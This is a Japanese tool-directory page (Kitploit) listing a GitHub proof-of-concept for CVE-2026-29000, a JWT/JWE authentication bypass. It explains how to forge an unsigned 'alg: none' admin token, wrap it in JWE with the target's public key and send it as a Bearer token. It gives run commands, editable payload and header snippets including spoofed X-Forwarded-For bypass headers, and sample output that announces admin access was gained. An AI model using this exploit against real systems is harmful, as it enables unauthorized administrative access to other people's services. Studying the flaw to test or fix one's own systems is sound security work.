Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/zf-tm/cve-2026-29000
認証と認可暗号化/復号化ツール脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubzf-tm/cve-2026-29000

CVE-2026-29000

CVE-2026-29000 の PoC

リポジトリを見る
164ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

JWT/JWE 認証バイパス PoC

概念実証(PoC)スクリプトで、JSON Web Token(JWT)とJSON Web Encryption(JWE)を使用した認証バイパスの脆弱性を実証します。このツールは、有効なJWE構造の中にラップされた未検証のJWT(alg: none)を受け入れることにより、トークンアルゴリズムを不適切に検証する環境を悪用します。

動作の仕組み

この攻撃チェーンは、一般的な暗号実装の欠陥を利用します。

  1. 鍵の抽出: スクリプトは、ターゲットの公開されている jwks(JSON Web Key Set)エンドポイントに接続し、サーバーの公開RSA鍵をダウンロードします。
  2. トークン偽造: ROLE_ADMIN 権限を付与する偽の未検証JWTペイロードを作成します。アルゴリズムヘッダーを意図的に "alg": "none" に設定します。
  3. JWEラッピング: 平文または未検証のトークンを拒否する可能性のある初期セキュリティフィルタをバイパスするために、サーバー自身の公開鍵を使用して偽のJWTを暗号化し、有効なJWEにラップします。
  4. 認証: 偽造したJWEは、Authorization: Bearer ヘッダーを介して、ターゲットの保護されたダッシュボードに送信されます。サーバーがJWEを復号し、署名を検証せずに内部のJWTを盲目的に信頼する場合、アクセスが許可されます。

前提条件

スクリプトを実行する前に、Python 3と必要な依存関係がインストールされていることを確認してください。

root@kitploit:~
pip install requests jwcrypto

使用方法

スクリプトには2つの引数が必要です: テスト対象の保護されたダッシュボードのURLと、公開鍵がホストされているURLです。

root@kitploit:~
python3 exploit.py <TARGET_URL_OF_PROTECTED_ENDPOINT> <JWKS_ENDPOINT_URL>

エクスプロイトのカスタマイズ

ターゲットに応じて、特定のフィルタをバイパスするためにトークン構造やHTTPリクエストを調整する必要がある場合があります。

  1. 内部JWTヘッダーとペイロードのカスタマイズ

ターゲットサーバーがJWT自体に特定のフィールド(typヘッダーやペイロード内のカスタムユーザーIDなど)を期待する場合は、簡単に追加できます。

exploit.pyを開き、次のセクションを見つけてください:

root@kitploit:~
token_header_information = {
    "alg": "none"
}
root@kitploit:~
token_user_information = {
    "sub": "admin",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": current_time_in_seconds,
    "exp": expiration_time_in_seconds
}

任意のフィールドをカンマ区切りで追加できます。たとえば、JWTヘッダーに typ(タイプ)と kid(キーID)を追加し、ペイロードにカスタムメールを追加するには:

root@kitploit:~
token_header_information = {
    "alg": "none",
    "typ": "JWT",
    "kid": "my-custom-key-id"
}
root@kitploit:~
token_user_information = {
    "sub": "admin",
    "email": "[email protected]",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": current_time_in_seconds,
    "exp": expiration_time_in_seconds
}
  1. HTTPヘッダーのカスタマイズ

ターゲットが特定のネットワークヘッダー(カスタムUser-Agent、X-Forwarded-Forなどのバイパスヘッダー、APIキーなど)を必要とする場合は、スクリプトの下部にあるネットワークリクエストを見つけてください:

root@kitploit:~
custom_authorization_header = {
    "Authorization": "Bearer " + final_forged_token
}

次のように追加のネットワークヘッダーを追加します:

root@kitploit:~
custom_authorization_header = {
    "Authorization": "Bearer " + final_forged_token,
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "X-Forwarded-For": "127.0.0.1",
    "Accept": "application/json"
}

注: 最初の公開鍵ダウンロード時にもこれらのヘッダーを送信する必要がある場合は、スクリプトの先頭にある requests.get() 呼び出しに同じ辞書を渡すことができます。

期待される出力

成功すると、スクリプトは偽造トークンと、制限されたエンドポイントから解析されたレスポンスを出力し、バイパスを証明します。

root@kitploit:~
Starting process...
Connecting to download public keys from: https://target-site.com/api/auth/jwks
Success! Downloaded the key with ID: 12345-abcde
Creating a fake administrator identity card...
Encrypting our fake identity using the server's public key...
Successfully created the encrypted master token!

Here is your forged token:
eyJhbGciOiJSU0EtT0FFUC...

Attempting to break into the dashboard...
Sending our forged token to: https://target-site.com/api/dashboard

SUCCESS! We bypassed the security.
The server thinks we are:
Username: admin
Account Type: ROLE_ADMIN

トラブルシューティング

  • HTTP 401/403 エラー: ターゲットサーバーが署名を適切に検証し、alg: none ペイロードを拒否しています。ターゲットが安全であるため、エクスプロイトは失敗しました。
  • 接続エラー: 指定したURLに完全なスキーム(http:// または https://)が含まれていること、およびターゲットサーバーに現在到達可能であることを確認してください。
  • 依存関係エラー: jwcrypto が pip で正しくインストールされていることを確認してください。
ツールをダウンロード